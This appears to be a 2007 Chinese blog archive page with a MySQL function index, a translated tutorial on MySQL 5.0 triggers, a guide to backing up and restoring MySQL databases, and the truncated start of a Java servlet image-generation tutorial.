  • < (less than)
  • << (left shift)
  • <= (less than or equal)
  • <=> (Equal to)
  • <> (not equal)
  • = (equal)
  • > (greater than)
  • >= (greater than or equal)
  • >> (right shift)
  • \" (double quote)
  • \' (single quote)
  • \0 (ASCII 0)
  • \\ (escape)
  • \b (backspace)
  • \n (newline)
  • \r (carriage return)
  • \t (tab)
  • \z (Control-Z) ASCII(26)
  • ^ (bitwise XOR)
  • _ (wildcard character)
  • `
  • A

  • ABS()
  • ACOS()
  • ADDDATE()
  • addition (+)
  • AES_DECRYPT()
  • AES_ENCRYPT()
  • ALTER COLUMN
  • ALTER TABLE
  • AND, bitwise
  • AND, logical
  • AS
  • AS
  • ASCII()
  • ASIN()
  • ATAN()
  • ATAN2()
  • AVG()
  • B

  • backspace (\b)
  • BEGIN
  • BENCHMARK()
  • BETWEEN ... AND
  • BIGINT
  • BIN()
  • BINARY
  • BIT
  • BIT_AND()
  • BIT_COUNT()
  • BIT_LENGTH()
  • BIT_OR()
  • BLOB
  • BLOB
  • BOOL
  • C

  • CASE
  • CAST
  • CEILING()
  • CHAR
  • CHAR
  • CHAR VARYING
  • CHAR()
  • CHAR_LENGTH()
  • CHARACTER
  • CHARACTER VARYING
  • CHARACTER_LENGTH()
  • COALESCE()
  • Comment syntax
  • COMMIT
  • CONCAT()
  • CONCAT_WS()
  • CONNECTION_ID()
  • control flow functions
  • CONV()
  • CONVERT
  • COS()
  • COT()
  • COUNT()
  • COUNT(DISTINCT)
  • CREATE DATABASE
  • CREATE INDEX
  • CREATE TABLE
  • CROSS JOIN
  • CURDATE()
  • CURRENT_DATE
  • CURRENT_TIME
  • CURRENT_TIMESTAMP
  • CURRENT_USER()
  • CURTIME()
  • D

  • DATABASE()
  • DATE
  • DATE
  • DATE_ADD()
  • DATE_FORMAT()
  • DATE_SUB()
  • DATETIME
  • DATETIME
  • DAYNAME()
  • DAYOFMONTH()
  • DAYOFWEEK()
  • DAYOFYEAR()
  • DEC
  • DECIMAL
  • DECODE()
  • DEGREES()
  • DELAYED
  • DELETE
  • DES_DECRYPT()
  • DES_ENCRYPT()
  • DESC
  • DESCRIBE
  • DISTINCT
  • DIV
  • division (/)
  • DO
  • DOUBLE
  • DOUBLE PRECISION
  • double quote (\")
  • DROP DATABASE
  • DROP INDEX
  • DROP INDEX
  • DROP PRIMARY KEY
  • DROP TABLE
  • DUMPFILE
  • E

  • ELT()
  • ENCODE()
  • ENCRYPT()
  • ENUM
  • ENUM
  • equal (=)
  • escape (\\)
  • EXP()
  • EXPORT_SET()
  • EXTRACT()
  • F

  • FIELD()
  • FILE
  • FIND_IN_SET()
  • FLOAT
  • FLOAT
  • FLOAT(M,D)
  • FLOAT(precision)
  • FLOAT(precision)
  • FLOOR()
  • FORCE INDEX
  • FORCE INDEX
  • FORMAT()
  • FOUND_ROWS()
  • FROM_DAYS()
  • FROM_UNIXTIME()
  • G

  • GET_LOCK()
  • greater than (>)
  • greater than or equal (>=)
  • GREATEST()
  • GROUP_CONCAT()
  • H

  • HANDLER
  • HEX()
  • hexadecimal values
  • HOUR()
  • I

  • identifiers, quoting
  • IF()
  • IFNULL()
  • IGNORE INDEX
  • IGNORE INDEX
  • IGNORE KEY
  • IGNORE KEY
  • IN
  • INET_ATON()
  • INET_NTOA()
  • INNER JOIN
  • INSERT
  • INSERT ... SELECT
  • INSERT DELAYED
  • INSERT()
  • INSTR()
  • INT
  • INTEGER
  • INTERVAL()
  • IS NOT NULL
  • IS NULL
  • IS_FREE_LOCK()
  • ISNULL()
  • ISOLATION LEVEL
  • J

  • JOIN
  • K

    L

  • LAST_INSERT_ID([expr])
  • LCASE()
  • LEAST()
  • LEFT JOIN
  • LEFT OUTER JOIN
  • LEFT()
  • LENGTH()
  • less than (<)
  • less than or equal (<=)
  • LIKE
  • LIMIT
  • LN()
  • LOAD DATA INFILE
  • LOAD_FILE()
  • LOCATE()
  • LOCATE()
  • LOCK TABLES
  • LOG()
  • LOG10()
  • LOG2()
  • LONGBLOB
  • LONGTEXT
  • LOWER()
  • LPAD()
  • LTRIM()
  • M

  • MAKE_SET()
  • MASTER_POS_WAIT()
  • MATCH ... AGAINST()
  • MAX()
  • MD5()
  • MEDIUMBLOB
  • MEDIUMINT
  • MEDIUMTEXT
  • MID()
  • MIN()
  • minus, unary (-)
  • MINUTE()
  • MOD()
  • modulo (%)
  • MONTH()
  • MONTHNAME()
  • multiplication (*)
  • mysql_info()
  • mysql_info()
  • mysql_info()
  • mysql_info()
  • mysql_real_escape_string()
  • N

  • NATIONAL CHAR
  • NATURAL LEFT JOIN
  • NATURAL LEFT OUTER JOIN
  • NATURAL RIGHT JOIN
  • NATURAL RIGHT OUTER JOIN
  • NCHAR
  • newline (\n)
  • NOT BETWEEN
  • not equal (!=)
  • not equal (<>)
  • NOT IN
  • NOT LIKE
  • NOT REGEXP
  • NOT, logical
  • NOW()
  • NUL
  • NULL value
  • NULLIF()
  • NUMERIC
  • O

  • OCT()
  • OCTET_LENGTH()
  • OLD_PASSWORD()
  • OR, bitwise
  • OR, logical
  • ORD()
  • ORDER BY
  • P

  • parentheses ( and )
  • PASSWORD()
  • PERIOD_ADD()
  • PERIOD_DIFF()
  • PI()
  • POSITION()
  • POW()
  • POWER()
  • PRIMARY KEY
  • PRIMARY KEY
  • Q

  • QUARTER()
  • QUOTE()
  • quoting of identifiers
  • R

  • RADIANS()
  • RAND()
  • REAL
  • REGEXP
  • RELEASE_LOCK()
  • RENAME TABLE
  • REPEAT()
  • REPLACE
  • REPLACE ... SELECT
  • REPLACE()
  • return (\r)
  • REVERSE()
  • RIGHT JOIN
  • RIGHT OUTER JOIN
  • RIGHT()
  • RLIKE
  • ROLLBACK
  • ROUND()
  • RPAD()
  • RTRIM()
  • S

  • SEC_TO_TIME()
  • SECOND()
  • SELECT
  • SESSION_USER()
  • SET
  • SET
  • SET TRANSACTION
  • SHA()
  • SHA1()
  • SIGN()
  • SIN()
  • single quote (\')
  • SMALLINT
  • SOUNDEX()
  • SOUNDS LIKE
  • SPACE()
  • SQL_CACHE
  • SQL_NO_CACHE
  • SQRT()
  • START TRANSACTION
  • STD()
  • STDDEV()
  • STRAIGHT_JOIN
  • STRCMP()
  • SUBDATE()
  • SUBSTRING()
  • SUBSTRING()
  • SUBSTRING_INDEX()
  • subtraction (-)
  • SUM()
  • SYSDATE()
  • SYSTEM_USER()
  • T

  • tab (\t)
  • TAN()
  • TEXT
  • TEXT
  • TIME
  • TIME
  • TIME_FORMAT()
  • TIME_TO_SEC()
  • TIMESTAMP
  • TIMESTAMP
  • TINYBLOB
  • TINYINT
  • TINYTEXT
  • TO_DAYS()
  • TRIM()
  • TRUNCATE
  • TRUNCATE()
  • Types
  • U

  • UCASE()
  • unary minus (-)
  • UNION
  • UNIQUE
  • UNIX_TIMESTAMP()
  • UNLOCK TABLES
  • UPDATE
  • UPPER()
  • USE
  • USE INDEX
  • USE INDEX
  • USE KEY
  • USE KEY
  • USER()

    V

  • VARCHAR
  • VARCHAR
  • VARIANCE()
  • VERSION()
  • W

  • WEEK()
  • WEEKDAY()
  • Wildcard character (%)
  • Wildcard character (_)
  • X

  • XOR, bitwise
  • XOR, logical
  • Y

  • YEAR
  • YEAR
  • YEAR()
  • | (bitwise OR)
  • || (logical OR)
  • ~
  • posted @ 2007-12-03 07:26 jadmin 阅读(82) | 评论 (0)编辑 收藏

      每次我想要演示实际代码时,我会对mysql客户端的屏幕就出现的代码进行调整,将字体改成Courier,使他们看起来与普通文本不一样(让大家区别程序代码和正文)。在这里举个例子:


    mysql> DROP FUNCTION f;
    Query OK, 0 rows affected (0.00 sec)

      如果实例比较大,则需要在某些行和段落间加注释,同时我会用将"<--"符号放在页面的右边以表示强调。例如:


    mysql> CREATE PROCEDURE p ()
    -> BEGIN
    -> /* This procedure does nothing */ <--
    -> END;//
    Query OK, 0 rows affected (0.00 sec)

      有时候我会将例子中的"mysql>"和"->"这些系统显示去掉,你可以直接将代码复制到mysql客户端程序中(如果你现在所读的不是电子版的,可以在mysql.com网站下载相关脚本)

      所以的例子都已经在Suse 9.2 Linux、Mysql 5.0.3公共版上测试通过。在您阅读本书的时候,Mysql已经有更高的版本,同时能支持更多OS了,包括Windows,Sparc,HP-UX。因此这里的例子将能正常的运行在您的电脑上。但如果运行仍然出现故障,可以咨询你认识的资深Mysql用户,这样就能得到比较好的支持和帮助。

    Why Triggers 为什么要用触发器

      我们在MySQL 5.0中包含对触发器的支持是由于以下原因:

      MySQL早期版本的用户长期有需要触发器的要求。
      我们曾经许诺支持所有ANSI标准的特性。
      您可以使用它来检查或预防坏的数据进入数据库。
      您可以改变或者取消INSERT, UPDATE以及DELETE语句。
      您可以在一个会话中监视数据改变的动作。

      在这里我假定大家都读过"MySQL新特性"丛书的第一集--"MySQL存储过程",那么大家都应该知道MySQL至此存储过程和函数,那是很重要的知识,因为在触发器中你可以使用在函数中使用的语句。特别举个例子:

      复合语句(BEGIN / END)是合法的.

      流控制(Flow-of-control)语句(IF, CASE, WHILE, LOOP, WHILE, REPEAT, LEAVE,ITERATE)也是合法的.

      变量声明(DECLARE)以及指派(SET)是合法的.

      允许条件声明.

      异常处理声明也是允许的.

      但是在这里要记住函数有受限条件:不能在函数中访问表.因此在函数中使用以下语句是非法的。


    ALTER 'CACHE INDEX' CALL COMMIT CREATE DELETE

    DROP 'FLUSH PRIVILEGES' GRANT INSERT KILL

    LOCK OPTIMIZE REPAIR REPLACE REVOKE

    ROLLBACK SAVEPOINT 'SELECT FROM table'

    'SET system variable' 'SET TRANSACTION'

    SHOW 'START TRANSACTION' TRUNCATE UPDATE

      在触发器中也有完全一样的限制.

      触发器相对而言比较新,因此会有(bugs)缺陷.所以我在这里给大家警告,就像我在存储过程书中所说那样.不要在含有重要数据的数据库中使用这个触发器,如果需要的话在一些以测试为目的的数据库上使用,同时在你对表创建触发器时确认这些数据库是默认的。

    Syntax 语法

      1. Syntax: Name 语法:命名规则


    CREATE TRIGGER <触发器名称> <--
    { BEFORE | AFTER }
    { INSERT | UPDATE | DELETE }
    ON <表名称>
    FOR EACH ROW
    <触发器SQL语句>

      触发器必须有名字,最多64个字符,可能后面会附有分隔符.它和MySQL中其他对象的命名方式基本相象.

      这里我有个习惯:就是用表的名字+'_'+触发器类型的缩写.因此如果是表t26,触发器是在事件UPDATE(参考下面的点(2)和(3))之前(BEFORE)的,那么它的名字就是t26_bu。


      2. Syntax: Time 语法:触发时间


    CREATE TRIGGER <触发器名称>
    { BEFORE | AFTER } <--
    { INSERT | UPDATE | DELETE }
    ON <表名称>
    FOR EACH ROW
    <触发的SQL语句>

      触发器有执行的时间设置:可以设置为事件发生前或后。

      3. Syntax: Event语法:事件


    CREATE TRIGGER <触发器名称>
    { BEFORE | AFTER }
    { INSERT | UPDATE | DELETE } <--
    ON <表名称>
    FOR EACH ROW
    <触发的SQL语句>

      同样也能设定触发的事件:它们可以在执行insert、update或delete的过程中触发。

      4. Syntax: Table 语法:表


    CREATE TRIGGER <触发器名称>
    { BEFORE | AFTER }
    { INSERT | UPDATE | DELETE }
    ON <表名称> <--
    FOR EACH ROW
    <触发的SQL语句>

      触发器是属于某一个表的:当在这个表上执行插入、更新或删除操作的时候就导致触发器的激活.
    我们不能给同一张表的同一个事件安排两个触发器。

      5. Syntax: Granularity 语法:( :( 步长)触发间隔


    CREATE TRIGGER <触发器名称>
    { BEFORE | AFTER }
    { INSERT | UPDATE | DELETE }
    ON <表名称>
    FOR EACH ROW <--
    <触发的SQL语句>

      触发器的执行间隔:FOR EACH ROW子句通知触发器每隔一行执行一次动作,而不是对整个表执行一次。

      6. Syntax: Statement 语法:语句


    CREATE TRIGGER <触发器名称>
    { BEFORE | AFTER }
    { INSERT | UPDATE | DELETE }
    ON <表名称>
    FOR EACH ROW
    <触发的SQL语句> <--

      触发器包含所要触发的SQL语句:这里的语句可以是任何合法的语句,包括复合语句,但是这里的语句受的限制和函数的一样。

    Privileges权限

      你必须拥有相当大的权限才能创建触发器(CREATE TRIGGER)。如果你已经是Root用户,那么就足够了。这跟SQL的标准有所不同,我也希望能尽快改成标准的。

      因此在下一个版本的MySQL中,你完全有可能看到有一种叫做CREATE TRIGGER的新权限。然后通过这样的方法赋予:


    GRANT CREATE TRIGGER ON <表名称> TO <用户或用户列表>;

      也可以通过这样收回权限:


    REVOKE CREATE TRIGGER ON <表名称> FROM <用户或用户列表>;

    Referring to OLD and NEW columns 关于旧的和新创建的列的标识

      在触发器的SQL语句中,你可以关联表中的任意列。但你不能仅使用列的名称去标识,那会使系统混淆,因为那里可能会有列的新名(这可能正是你要修改的,你的动作可能正是要修改列名),还有列的旧名存在。因此你必须用这样的语法来标识:

      "NEW . column_name"或者"OLD . column_name".这样在技术上处理(NEW | OLD . column_name)新和旧的列名属于创建了过渡变量("transition variables")。

      对于INSERT语句,只有NEW是合法的;对于DELETE语句,只有OLD才合法;而UPDATE语句可以在和NEW以及OLD同时使用。下面是一个UPDATE中同时使用NEW和OLD的例子。


    CREATE TRIGGER t21_au
    BEFORE UPDATE ON t22
    FOR EACH ROW
    BEGIN
    SET @old = OLD . s1;
    SET @new = NEW.s1;
    END;//

      现在如果t21表中的s1列的值是55,那么执行了"UPDATE t21 SET s1 = s1 + 1"之后@old的值会变成55,而@new的值将会变成56。

    Example of CREATE and INSERT CREATE和INSERT的例子

      CREATE table with trigger创建有触发器的表

      这里所有的例程中我都假定大家的分隔符已经设置成//(DELIMITER //)。


    CREATE TABLE t22 (s1 INTEGER)//

    CREATE TRIGGER t22_bi
    BEFORE INSERT ON t22
    FOR EACH ROW
    BEGIN
    SET @x = 'Trigger was activated!';
    SET NEW.s1 = 55;
    END;//

      在最开始我创建了一个名字为t22的表,然后在表t22上创建了一个触发器t22_bi,当我们要向表中的行插入时,触发器就会被激活,执行将s1列的值改为55的动作。

      INSERT on table w ith a trigger使用触发器执行插入动作


    mysql> INSERT INTO t22 VALUES (1)//

      让我们看如果向表t2中插入一行数据触发器对应的表会怎么样?

      这里的插入的动作是很常见的,我们不需要触发器的权限来执行它。甚至不需要知道是否有触发器关联。


    mysql> SELECT @x, t22.* FROM t22//
    +------------------------+------+
    | @x | s1 |
    +------------------------+------+
    | Trigger was activated! | 55 |
    +------------------------+------+
    1 row in set (0.00 sec)

      大家可以看到INSERT动作之后的结果,和我们预期的一样,x标记被改动了,同时这里插入的数据不是我们开始输入的插入数据,而是触发器自己的数据。

    Example of a "check" constraint
    "check"完整性约束例子

      What's a "check" constraint 什么是"check"约束

      在标准的SQL语言中,我们可以在(CREATE TABLE)创建表的过程中使用"CHECK (condition)",
    例如:


    CREATE TABLE t25
    (s1 INT, s2 CHAR(5), PRIMARY KEY (s1),
    CHECK (LEFT(s2,1)='A'))
    ENGINE=INNODB;

      这里CHECK的意思是"当s2列的最左边的字符不是'A'时,insert和update语句都会非法",MySQL的视图不支持CHECK,我个人是很希望它能支持的。但如果你很需要在表中使用这样的功能,我建议大家使用触发器来实现。


    CREATE TABLE t25
    (s1 INT, s2 CHAR(5),
    PRIMARY KEY (s1))
    ENGINE=INNODB//

    CREATE TRIGGER t25_bi
    BEFORE INSERT ON t25
    FOR EACH ROW
    IF LEFT(NEW.s2,1)<>'A' THEN SET NEW.s1=0; END IF;//

    CREATE TRIGGER t25_bu
    BEFORE UPDATE ON t25
    FOR EACH ROW
    IF LEFT(NEW.s2,1)<>'A' THEN SET NEW.s1=0; END IF;//

      我只需要使用BEFORE INSERT和BEFORE UPDATE语句就行了,删除了触发器不会对表有影响,同时AFTER的触发器也不能修改NEW的过程变量(transition variables)。为了激活触发器,我执行了向表中的行插入s1=0的数据,之后只要执行符合LEFT(s2,1) <> 'A'条件的动作都会失败:


    INSERT INTO t25 VALUES (0,'a') /* priming the pump */ //
    INSERT INTO t25 VALUES (5,'b') /* gets error '23000' */ //

    Don't Believe The Old MySQL Manual
    该抛弃旧的MySQL的手册了

      我在这里警告大家不要相信过去的MySQL手册中所说的了。我们已经去掉了关于触发器的错误的语句,但是仍旧有很多旧版本的手册在网上,举个例子,这是一个德国的Url上的:


      http://dev.mysql.com/doc/mysql/de/ANSI_diff_Triggers.html.

      这个手册上说触发器就是存储过程,忘掉吧,你也已经看见了,触发器就是触发器,而存储过程还是存储过程。

      手册上还说触发器可以从其他表上来删除,或者是当你删除一个事务的时候激发,无论他说的是什么意思,忘掉吧,MySQL不会去实现这些的。

      最后关于说使用触发器会对查询速度产生影响的说法也是错的,触发器不会对查询产生任何影响。

      Bugs
      (不好的东西就不翻译了)
      On December 14 2004, I did an "Advanced Search" in http://bugs.mysql.com for 'trigger' or
      'triggers', I found that there were 17 active bugs as of that date. Of course they might disappear
      before you read this, but just in case they haven't, I'll mention the important ones. If they're still
      there, you'll have to work around them when you're trying triggers.


      Bug#5859 DROP TABLE does not drop triggers.
      (删除表的时候没有自动删除触发器)
      When you drop a table, dropping the table's triggers should be automatic.


      Bug#5892 Triggers have the wrong namespace.
      (触发器的命名空间有错,你必须在前面加上表的名字才能删除触发器,下面是例子)
      You have to say "DROP TRIGGER <table name> . <trigger name>".
      The correct way is "DROP TRIGGER <trigger name>".


      Bug#5894 Triggers with altered tables cause corrupt databases.
      (触发器对表的改变可能会造成数据库数据被破坏)
      Do not alter a table that has a trigger on it, until you know this is fixed.

    posted @ 2007-12-03 07:19 jadmin 阅读(79) | 评论 (0)编辑 收藏

      在数据库表丢失或损坏的情况下,备份你的数据库是很重要的。如果发生系统崩溃,你肯定想能够将你的表尽可能丢失最少的数据恢复到崩溃发生时的状态。有时,正是 MySQL 管理员造成破坏。管理员已经知道表已破坏,用诸如 vi 或 Emacs 等编辑器试图直接编辑它们,这对表绝对不是件好事!

      备份数据库两个主要方法是用 mysqldump 程序或直接拷贝数据库文件(如用 cp、cpio 或 tar 等)。每种方法都有其优缺点:

      mysqldump 与 MySQL 服务器协同操作。直接拷贝方法在服务器外部进行,并且你必须采取措施保证没有客户正在修改你将拷贝的表。如果你想用文件系统备份来备份数据库,也会发生同样的问题:如果数据库表在文件系统备份过程中被修改,进入备份的表文件主语不一致的状态,而对以后的恢复表将失去意义。文件系统备份与直接拷贝文件的区别是对后者你完全控制了备份过程,这样你能采取措施确保服务器让表不受干扰。

      mysqldump 比直接拷贝要慢些。

      mysqldump 生成能够移植到其它机器的文本文件,甚至那些有不同硬件结构的机器上。直接拷贝文件不能移植到其它机器上,除非你正在拷贝的表使用 MyISAM 存储格式。ISAM 表只能在相似的硬件结构的机器上拷贝。在 MySQL 3.23 中引入的 MyISAM 表存储格式解决了该问题,因为该格式是机器无关的,所以直接拷贝文件可以移植到具有不同硬件结构的机器上。只要满足两个条件:另一台机器必须也运行 MySQL 3.23 或以后版本,而且文件必须以 MyISAM 格式表示,而不是 ISAM 格式。

      不管你使用哪种备份方法,如果你需要恢复数据库,有几个原则应该遵守,以确保最好的结果:

      定期实施备份。建立一个计划并严格遵守。

      让服务器执行更新日志。当你在崩溃后需要恢复数据时,更新日志将帮助你。在你用备份文件恢复数据到备份时的状态后,你可以通过运行更新日志中的查询再次运用备份后面的修改,这将数据库中的表恢复到崩溃发生时的状态。

      以文件系统备份的术语讲,数据库备份文件代表完全倾倒(full dump),而更新日志代表渐进倾倒(incremental dump)。

      使用一种统一的和易理解的备份文件命名机制。象 backup1、buckup2 等不是特别有意义。当实施你的恢复时,你将浪费时间找出文件里是什么东西。你可能发觉用数据库名和日期构成备份文件名会很有用。例如:

      %mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02

      %mysqldump menagerie >/usr/archives/mysql/menagerie.1999-10-02

      你可能想在生成备份后压缩它们。备份一般都很大!你也需要让你的备份文件有过期期限以避免它们填满你的磁盘,就象你让你的日志文件过期那样。

      用文件系统备份备份你的备份文件。如果遇上了一个彻底崩溃,不仅清除了你的数据目录,也清除了包含你的数据库备份的磁盘驱动器,你将真正遇上了麻烦。

      也要备份你的更新日志。

      将你的备份文件放在不同于用于你的数据库的文件系统上。这将降低由于生成备份而填满包含数据目录的文件系统的可能性。

      用于创建备份的技术同样对拷贝数据库到另一台机器有用。最常见地,一个数据库被转移到了运行在另一台主机上的服务器,但是你也可以将数据转移到同一台主机上的另一个服务器。

      1 使用 mysqldump 备份和拷贝数据库

      当你使用 mysqldumo 程序产生数据库备份文件时,缺省地,文件内容包含创建正在倾倒的表的 CREATE 语句和包含表中行数据的 INSERT 语句。换句话说,mysqldump 产生的输出可在以后用作 mysql 的输入来重建数据库。

      你可以将整个数据库倾倒进一个单独的文本文件中,如下:

      %mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02

      输出文件的开头看起来象这样:

      # MySQL Dump 6.0# # Host: localhost Database: samp_db#-------------

      --------------------------# Server version 3.23.2-alpha-log## Table st

      ructure for table absence#CREATE TABLE absence( student_id int(10)

      unsigned DEFAULT 0 NOT NULL, date date DEFAULT 0000-00-00 NOT NUL

      L, PRIMARY KEY (student_id,date));## Dumping data for table absence

      #INSERT INTO absence valueS (3,1999-09-03);INSERT INTO absence value

      S (5,1999-09-03);INSERT INTO absence valueS (10,1999-09-08);......

      文件剩下的部分有更多的INSERT和CREATE TABLE语句组成。如果你想压缩备份,使用类似如下的命令:

      %mysqldump samp_db | gzip >/usr/archives/mysql/samp_db.1999-10-02.gz

      如果你要一个庞大的数据库,输出文件也将很庞大,可能难于管理。如果你愿意,你可以在 mysqldump 命令行的数据库名后列出单独的表名来倾到它们的内容,这将倾倒文件分成较小、更易于管理的文件。下例显示如何将 samp_db 数据库的一些表倾到进分开的文件中:

      %mysqldump samp_db student score event absence >grapbook.sql

      %mysqldump samp_db member president >hist-league.sql

      如果你生成准备用于定期刷新另一个数据库内容的备份文件,你可能想用 --add- drop-table 选项。这告诉服务器将 DROP TABLE IF EXISTS 语句写入备份文件,然后,当你取出备份文件并把它装载进第二个数据库时,如果表已经存在,你不会得到一个错误。

      如果你倒出一个数据库以便能把数据库转移到另一个服务器,你甚至不必创建备份文件。要保证数据库存在于另一台主机,然后用管道倾倒数据库,这样 mysql 能直接读取 mysqldump 的输出。例如:你想从主机 pit- viper.snake.net 拷贝数据库 samp_db 到 boa.snake.net,可以这样很容易做到:

      %mysqladmin -h boa.snake.net create samp_db

      %mysqldump samp_db | mysql -h boa.snake.net samp_db

      以后,如果你想再次刷新 boa.snake.net 上的数据库,跳过 mysqladmin 命令,但要对 mysqldump 加上--add-drop-table 以避免的得到表已存在的错误:

      %mysqldump --add-drop-table samp_db | mysql -h boa.snake.net samp_db

      mysqldump 其它有用的选项包括:

      --flush-logs 和 --lock-tables 组合将对你的数据库检查点有帮助。--lock-tables 锁定你正在倾倒的所有表,而 --flush-logs 关闭并重新打开更新日志文件,新的更新日志将只包括从备份点起的修改数据库的查询。这将设置你的更新日志检查点位备份时间。(然而如果你有需要执行个更新的客户,锁定所有表对备份期间的客户访问不是件好事。)

      如果你使用 --flush-logs 设置检查点到备份时,有可能最好是倾倒整个数据库。

      如果你倾倒单独的文件,较难将更新日志检查点与备份文件同步。在恢复期间,你通常按数据库为基础提取更新日志内容,对单个表没有提取更新的选择,所以你必须自己提取它们。

      缺省地,mysqldump 在写入前将一个表的整个内容读进内存。这通常确实不必要,并且实际上如果你有一个大表,几乎是失败的。你可用 --quick 选项告诉 mysqldump 只要它检索出一行就写出每一行。为了进一步优化倾倒过程,使用 --opt 而不是 --quick。--opt 选项打开其它选项,加速数据的倾倒和把它们读回。

      用 --opt 实施备份可能是最常用的方法,因为备份速度上的优势。然而,要警告你,--opt 选项确实有代价,--opt 优化的是你的备份过程,不是其他客户对数据库的访问。--opt 选项通过一次锁定所有表阻止任何人更新你正在倾倒的任何表。你可在一般数据库访问上很容易看到其效果。当你的数据库一般非常频繁地使用,只是一天一次地调节备份。

      一个具有 --opt 的相反效果的选项是 --dedayed。该选项使得 mysqldump 写出 INSERT DELAYED 语句而不是 INSERT 语句。如果你将数据文件装入另一个数据库并且你想是这个操作对可能出现在该数据库中的查询的影响最小,--delayed 对此很有帮助。

      --compress 选项在你拷贝数据库到另一台机器上时很有帮助,因为它减少网络传输字节的数量。下面有一个例子,注意到 --compress 对与远端主机上的服务器通信的程序才给出,而不是对与本地主机连接的程序:

      %mysqldump --opt samp_db | mysql --compress -h boa.snake.net samp_db

      2 使用直接拷贝数据库的备份和拷贝方法

      另一种不涉及 mysqldump 备份数据库和表的方式是直接拷贝数据库表文件。典型地,这用诸如 cp、tar 或 cpio 实用程序。本文的例子使用 cp。

      当你使用一种直接备份方法时,你必须保证表不在被使用。如果服务器在你则正在拷贝一个表时改变它,拷贝就失去意义。

      保证你的拷贝完整性的最好方法是关闭服务器,拷贝文件,然后重启服务器。如果你不想关闭服务器,要在执行表检查的同时锁定服务器。如果服务器在运行,相同的制约也适用于拷贝文件,而且你应该使用相同的锁定协议让服务器“安静下来”。

      假设服务器关闭或你已经锁定了你想拷贝的表,下列显示如何将整个 samp_db 数据库备份到一个备份目录(DATADIR 表示服务器的数据目录):

      %cd DATADIR%cp -r samp_db /usr/archive/mysql

      单个表可以如下备份:

      %cd DATADIR/samp_db%cp member.* /usr/archive/mysql/samp_db%cp score.*

      /usr/archive/mysql/samp_db ....

      当你完成了备份时,你可以重启服务器(如果关闭了它)或释放加在表上的锁定(如果你让服务器运行)。

      要用直接拷贝文件把一个数据库从一台机器拷贝到另一台机器上,只是将文件拷贝到另一台服务器主机的适当数据目录下即可。要确保文件是 MyIASM 格式或两台机器有相同的硬件结构,否则你的数据库在另一台主机上有奇怪的内容。你也应该保证在另一台机器上的服务器在你正在安装数据库表时不访问它们。

      3 复制数据库(Replicating Database)

      复制(Replication)类似于拷贝数据库到另一台服务器上,但它的确切含义是实时地保证两个数据库的完全同步。这个功能将在 3.23 版中出现,而且还不很成熟,因此本文不作详细介绍。

      4 用备份恢复数据

      数据库损坏的发生有很多原因,程度也不同。如果你走运,你可能仅损坏一两个表(如掉电),如果你倒霉,你可能必须替换整个数据目录(如磁盘损坏)。在某些情况下也需要恢复,比如用户错误地删除了数据库或表。不管这些倒霉事件的原因,你将需要实施某种恢复。

      如果表损坏但没丢失,尝试用 myisamchk 或 isamchk 修复它们,如果这样的损坏可有修复程序修复,你可能根本不需要使用备份文件。

      恢复过程涉及两种信息源:你的备份文件和个更新日志。备份文件将表恢复到实施备份时的状态,然而一般表在备份与发生问题之间的时间内已经被修改,更新日志包含了用于进行这些修改的查询。你可以使用日志文件作为 mysql 的输入来重复查询。这已正是为什么要启用更新日志的原因。

      恢复过程视你必须恢复的信息多少而不同。实际上,恢复整个数据库比单个表跟容易,因为对于数据库运用更新日志比单个表容易。

      4.1 恢复整个数据库

      首先,如果你想恢复的数据库是包含授权表的 mysql 数据库,你需要用 --skip -grant-table 选项运行服务器。否则,它会抱怨不能找到授权表。在你已经恢复表后,执行 mysqladmin flush-privileges 告诉服务器装载授权标并使用它们。

      将数据库目录内容拷贝到其它某个地方,如果你在以后需要它们。

      用最新的备份文件重装数据库。如果你用 mysqldump 产生的文件,将它作为 mysql 的输入。如果你用直接从数据库拷贝来的文件,将它们直接拷回数据库目录,然而,此时你需要在拷贝文件之前关闭数据库,然后重启它。

      使用更新日志重复做备份以后的修改数据库表的查询。对于任何可适用的更新日志,将它们作为 mysql 的输入。指定 --one-database 选项使得 mysql 只执行你有兴趣恢复的数据库的查询。如果你知道你需要运用所有更新日志文件,你可以在包含日志的目录下使用这条命令:

      % ls -t -r -1 update.[0-9]* | xargs cat | mysql --one-database db_name

      ls 命令生成更新日志文件的一个单列列表,根据服务器产生它们的次序排序(主意:如果你修改任何一个文件,你将改变排序次序,这导致更新日志一错误的次序被运用。)

      很可能你会是运用某几个更新日志。例如,自从你备份以来产生的更新日志被命名为 update.392、update.393 等等,你可以这样重新运行:

      %mysql --one-database db_name < update.392

      %mysql --one-database db_name < update.393

      .....

      如果你正在实施恢复且使用更新日志恢复由于一个错误建议的 DROP DATABASE、DROP TABLE 或 DELETE 语句造成丢失的信息,在运用更新日志之前,要保证从其中删除这些语句。

      4.2 恢复单个表

      恢复单个表较为复杂。如果你用一个由 mysqldump 生成的备份文件,并且它不包含你感兴趣的表的数据,你需要从相关行中提取它们并将它们用作 mysql 的输入。这是容易的部分。难的部分是从只运用于该表的更新日志中拉出片断。你会发觉 mysql_find_rows 实用程序对此很有帮助,它从更新日志中提取多行查询。

      另一个可能性是使用另一台服务器恢复整个数据库,然后拷贝你想要的表文件到原数据库中。这可能真的很容易!当你将文件拷回数据库目录时,要确保原数据库的服务器关闭。

    posted @ 2007-12-03 07:17 jadmin 阅读(82) | 评论 (0)编辑 收藏
    在Web应用中,经常需要动态生成图片,比如实时股市行情,各种统计图等等,这种情况下,图片只能在服务器内存中动态生成并发送给用户,然后在浏览器中显示出来。

    本质上,浏览器向服务器请求静态图片如jpeg时,服务器返回的仍然是标准的http响应,只不过http头的contentType不是text/html,而是image/jpeg而已,因此,我们在Servlet中只要设置好contentType,然后发送图像的数据流,浏览器就能正确解析并显示出图片。

    在Java中,java.awt和java.awt.image包提供了基本的绘制图像的能力,我们可以在内存中绘制好需要的图形,然后编码成jpeg或其他图像格式,最后发送相应给浏览器即可。下面是使用Servlet动态创建图像的详细步骤:

    1.创建BufferedImage对象,该对象存在内存中,负责保存绘制的图像;
    2.创建Graphics2D对象,该对象负责绘制所需的图像;
    3.当绘制完成后,调用com.sun.image.codec.jpeg包的JPEG编码器对其编码;
    4.最后将编码后的数据输出至HttpResponse即可。

    注意com.sun.image.codec.jpeg包位于JDK目录的rt.jar包中,它不是公开的API,需要将rt.jar复制到web应用程序的WEB-INF/lib下。

    我们先创建一个最简单的Servlet:

    public class CreateImageServlet extends HttpServlet {
         protected void doGet(HttpServletRequest request, HttpServletResponse response)
                 throws ServletException, IOException
         {
             response.setContentType("image/jpeg");
